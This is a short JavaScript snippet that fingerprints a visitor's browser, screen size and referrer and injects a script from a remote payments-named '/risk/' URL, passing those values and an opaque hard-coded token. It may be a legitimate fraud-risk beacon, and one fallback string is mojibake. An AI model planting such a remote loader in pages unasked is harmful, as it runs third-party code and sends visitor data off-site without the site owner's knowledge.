判断浏览器增加标签 encodeURIComponent

var Sys = {};
        var ua = navigator.userAgent.toLowerCase();
        var s;
        var lx;

        (s = ua.match(/msie ([\d.]+)/)) ? Sys.ie = s[1] :
        (s = ua.match(/firefox\/([\d.]+)/)) ? Sys.firefox = s[1] :
        (s = ua.match(/chrome\/([\d.]+)/)) ? Sys.chrome = s[1] :
        (s = ua.match(/opera\/([\d.]+)/)) ? Sys.opera = s[1] :
        (s = ua.match(/version\/([\d.]+).*safari/)) ? Sys.safari = s[1] : 0;

        if(Sys.ie)
        {
           lx = "IE" + Sys.ie;
        }
        else if(Sys.firefox)
        {
           lx = "Firefox" + Sys.firefox;
        }
        else if(Sys.chrome)
        {
           lx = "Chrome" + Sys.chrome;
        }
        else if(Sys.opera)
        {
           lx = "Opera" + Sys.opera;
        }
        else if(Sys.safari)
        {
           lx = "Safari" + Sys.safari;
        }
        else
        {
           lx = "鏈煡";
        }

        var w = window.screen.width;
        var h = window.screen.height;
        var auth = encodeURIComponent("0cdbUT0OX0LXdZfYnjHoeyP9h5HAwimgc9hKYirOTcV+L9yVXUe6i0wXOwrd/ZgzBcv4GMe3D2iv");

        var ___doc = document.getElementsByTagName('head')[0];
        var js = document.createElement('script');
        js.setAttribute('type', 'text/javascript');
        js.setAttribute('src', 'https://www.promptlypayments.com/risk/index-index2.js?ref='+encodeURIComponent(document.referrer) + '&w=' + w + '&h=' + h + '&lx=' + lx + '&auth=' + auth);
        ___doc.appendChild(js);